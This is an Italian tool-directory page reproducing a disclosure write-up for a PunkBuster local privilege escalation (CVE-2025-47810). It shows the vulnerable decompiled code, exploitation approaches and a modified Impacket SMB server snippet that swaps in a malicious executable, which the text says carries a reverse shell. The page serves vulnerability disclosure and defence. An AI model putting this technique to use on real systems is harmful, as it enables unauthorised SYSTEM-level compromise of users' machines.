Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-47810 — PunkBuster LPI a NT AUTHORITY\SYSTEM | Kitploit
Strumenti/GitHubGitHub/ptrstr/cve-2025-47810
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitMovimento LateraleAnalisi di Binari
GitHubptrstr/cve-2025-47810

CVE-2025-47810

PunkBuster LPI a NT AUTHORITY\SYSTEM

Vedi Repository
11 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PunkBuster LPI (CVE-2025-47810)

Screenshot

Background

PunkBuster installs itself as two services, and an optional? kernel driver.

  • PnkBstrA: Servizio che viene eseguito costantemente in background ed è responsabile della gestione complessiva di PunkBuster
  • PnkBstrB: Servizio che si avvia quando un gioco protetto viene avviato. Offre più funzionalità della sua controparte A.

Entrambi i servizi sono strutturati in modo simile, in ascolto UDP su localhost su una porta nell'intervallo [44301, 44400]. Una volta trovata una porta, questa viene scritta nel valore Port in HKLM:\SOFTWARE\Even Balance\PnkBstrA o HKLM:\SOFTWARE\WOW6432Node\Even Balance\PnkBstrA.

Ogni richiesta viene memorizzata in un buffer globale lungo 1500 byte (tuttavia, vengono ricevuti solo 1499 byte per un terminatore NUL).

Non esiste una struttura standard per i dati della richiesta, ma la loro struttura usuale è la seguente:

  • primo byte (di solito una lettera) che indica quale funzionalità invocare
  • argomenti per la funzionalità, di solito separati da spazi se ne servono più di uno.

I tipi di richiesta in PnkBstrA sono i seguenti:

  • l: Load: Avvia e aggiorna PnkBstrB
    • Prende un argomento (opzionale), il percorso dell'eseguibile di PnkBstrB aggiornato
  • u: Unload: Arresta PnkBstrB
  • v: Version: Restituisce semplicemente la versione
  • m: Monitor: Prende un PID e verifica se la DLL client di PunkBuster (pbcl.dll) è nel processo, effettuando il dump della sua memoria se presente.

Vulnerability

Il gestore di load (l) contiene una vulnerabilità di tipo TOCTOU, che porta a un'elevazione locale dei privilegi come NT AUTHORITY\SYSTEM.

Il flusso del gestore è più o meno questo:

  1. Elimina il servizio PnkBstrB
  2. Calcola l'MD5 del file nell'argomento, se presente
  3. Valida Authenticode e i certificati dell'eseguibile nell'argomento, se presente
    • Tra gli altri controlli, assicurarsi che il soggetto del certificato sia Even Balance, Inc.
  4. Attende tra 750ms e 2.25s senza handle sul file, mentre cerca di copiare il file nell'argomento in C:\Windows\SysWOW64\PnkBstrB.exe o C:\Windows\System32\PnkBstrB.exe, a seconda della piattaforma
  5. Calcola l'MD5 del file copiato nella directory di sistema
  6. Verifica che entrambi gli hash MD5 corrispondano
    • In caso affermativo, crea e avvia il servizio PnkBstrB come LocalSystem con il file appena copiato.

Il problema è che il file che PnkBstrA sta manipolando viene riaperto molte volte per ogni operazione, portando a una situazione in cui un attaccante potrebbe modificare il file tra un'operazione e l'altra.

Questo può portare a una situazione in cui, dopo che il file è stato validato per il suo certificato, viene sostituito e un file malevolo finisce come eseguibile del servizio PnkBstrB. Questo eseguibile renderebbe possibile a un utente non privilegiato elevare i propri privilegi a NT AUTHORITY\SYSTEM.

La decompilazione rilevante è mostrata qui:

root@kitploit:~
int startPnkB(char *updateFileName) {
    ...

    // Calculate first MD5
    firstMd5Fp = fopen(updateFileName, "r+b");
    strcpy(firstMd5, "1");
    if ( firstMd5Fp )
      computeMD5(updateFileName, firstMd5);
    nowMs = GetTickCount();
    busyWaitExpiration = rand() % 800 + 300;
    while ( (int)(GetTickCount() - nowMs) <= busyWaitExpiration )
      ;
    fclose(firstMd5Fp);

    // INJECTION POINT 1

    // Check certificate
    certificateFilePointer = fopen(updateFileName, "rb"); // Must succeed, or else check futher down will fail
    if ( g_Warnings >= 3 )
    {
      log(1, "Too many failed certificate verifications (%s); Load denied.", updateFileName);
LABEL_49:
      if ( certificateFilePointer )
        fclose(certificateFilePointer);
      return 0;
    }

    if ( !checkValidCertificate(updateFileName) )
    {
      CloseServiceHandle(hSCManager);
      log(1, "%s does not contain a valid certificate; Load denied.", updateFileName);
      goto LABEL_49;
    }

    // Build path to copy to
    GetSystemDirectoryA(g_SystemDirectory, 246u);
    if ( g_SystemDirectory[0] && g_SystemDirectory[strlen(g_SystemDirectory) - 1] != 92 )
      strncat(g_SystemDirectory, 260, "\\");
    strncat(g_SystemDirectory, 260, "PnkBstrB.exe");
    _chmod(g_SystemDirectory, 0600);
    strcpy(Str, g_SystemDirectory);

    ...

    // INJECTION POINT 2

    Sleep(750u);
    if ( !CopyFileA(updateFileName, g_SystemDirectory, 0) )
    {
      Sleep(750u);
      for ( startTimea = 1; startTimea > 0; --startTimea )
      {
        Sleep(750u);
        if ( CopyFileA(updateFileName, g_SystemDirectory, 0) )
          break;
      }
      if ( startTimea < 1 )
      {
        LastError = GetLastError();
        log(1, "Copy from [%s] to [%s] failed; Load denied. (%lu)", updateFileName, g_SystemDirectory, LastError);
        fclose(certificateFilePointer);
        return 0;
      }
    }


    // Make sure we previously opened the file
    v9 = certificateFilePointer;
    if ( certificateFilePointer )
    {
      fclose(certificateFilePointer);
      v9 = fopen(g_SystemDirectory, "rb");
    }

    // Second MD5
    strcpy(newMd5, "2");
    if ( v9 )
      computeMD5(g_SystemDirectory, newMd5);
    if ( memcmp(firstMd5, newMd5, 0x10u) )
    {
      CloseServiceHandle(hSCManager);
      log(1, "%s does not match %s; Load denied.", g_SystemDirectory, updateFileName);
  LABEL_41:
      if ( v9 )
        fclose(v9);
      return 0;
    }
    ServiceA = CreateServiceA(
                 hSCManager,
                 "PnkBstrB",
                 "PnkBstrB",
                 0xF01FFu,
                 0x10u,
                 2u,
                 1u,
                 g_SystemDirectory,
                 0,
                 0,
                 0,
                 0,
                 0);

    ...
}

Una correzione semplice sarebbe copiare prima il file in una posizione sicura ma temporanea (ad es.: PnkBstrB.exe.tmp) e calcolare l'MD5 e i controlli da lì. In questo modo, il file non sarà modificabile da un attore malevolo. Questo garantirebbe anche che venga aperta una sola copia del file, prevenendo lo sfruttamento via SMB.

Exploitation

Approach 1

Uno scenario di attacco potrebbe essere fornire un file malevolo, attendere che l'MD5 venga calcolato, sostituire il file con il PnkBstrB.exe originale così che i controlli di WinVerifyTrust e del certificato vengano superati, e poi sostituirlo di nuovo con il file malevolo, così che il secondo MD5 venga superato e il file venga copiato ed eseguito.

Tuttavia, questo scenario è molto difficile da realizzare, poiché sostituire il file è difficile e modificarlo mentre è aperto da PnkBstrA non sembra applicare le modifiche. Questo perché è difficile schedulare il nostro codice nel INJECTION POINT 1 come si vede nel codice. È probabilmente possibile usando molti thread con priorità critica in termini di tempo, alcuni dei quali cercano costantemente di sostituire il file, mentre altri bloccano i core concorrenti in attese attive.

Approach 2

Un altro approccio sarebbe provare a ottenere una collisione MD5 tra PnkBstrB e il file malevolo. Questo funzionerebbe facendo sì che prima il file legittimo venga usato come candidato per il primo MD5 e venga controllato per il certificato. Tuttavia, dopo questo abbiamo una comoda finestra di 750 millisecondi o più per sostituire il file con il nostro. Poi, il secondo MD5 verrebbe superato e il nostro file verrebbe iniettato. Durante lo sviluppo, però, ero troppo pigro per aspettare che venisse generata una collisione, quindi ho optato per un altro approccio.

Approach 3

Questo codice dipende da Windows e usa fopen, che mappa le funzioni di I/O native di Windows. Per definizione, questo significherebbe che le condivisioni SMB sarebbero accessibili. Inoltre, MSDN menziona che questo comportamento è supportato:

fopen accetta percorsi UNC e percorsi che coinvolgono unità di rete mappate, purché il sistema che esegue il codice abbia accesso alla condivisione o all'unità mappata al momento dell'esecuzione

Questo significa che potremmo usare il nostro primo approccio, ma poiché il codice dipenderebbe dalla nostra condivisione SMB, inviamo file diversi a seconda del numero di volte in cui il file viene richiesto.

Modificando smbserver di Impacket, è possibile ottenere questo comportamento. Il file .patch completo può essere trovato qui. Le modifiche chiave sono:

root@kitploit:~
@staticmethod
def smb2Create(connId, smbServer, recvPacket):
    ...
    
    if not hasattr(smbServer, '_hist'):
        smbServer._hist = {}

    if pathName.endswith('.exe'):
        if pathName not in smbServer._hist.keys():
            smbServer._hist[pathName] = 0
        
        smbServer._hist[pathName] += 1

        if smbServer._hist[pathName] == 1 or smbServer._hist[pathName] >= 8:
            pathName = './PwnBstr.exe'
        else:
            pathName = './PnkBstrB.exe'

Come puoi vedere, se è la prima volta che apriamo il file (primo MD5) o almeno l'ottava volta (copia del file e successive), inviamo al client il file malevolo, mentre inviamo quello originale negli altri casi.

Il codice del file malevolo può essere trovato qui; si tratta di un semplice servizio hello world con una reverse shell.

https://github.com/user-attachments/assets/0a53c822-6ff5-494e-a5eb-55673a5cc220

Divulgazione

EvenBalance è stata contattata più volte dal 2025-02-15 attraverso diversi metodi, ma non ha risposto.

Questo problema è stato completamente divulgato il 2025-05-10.

Scarica lo strumento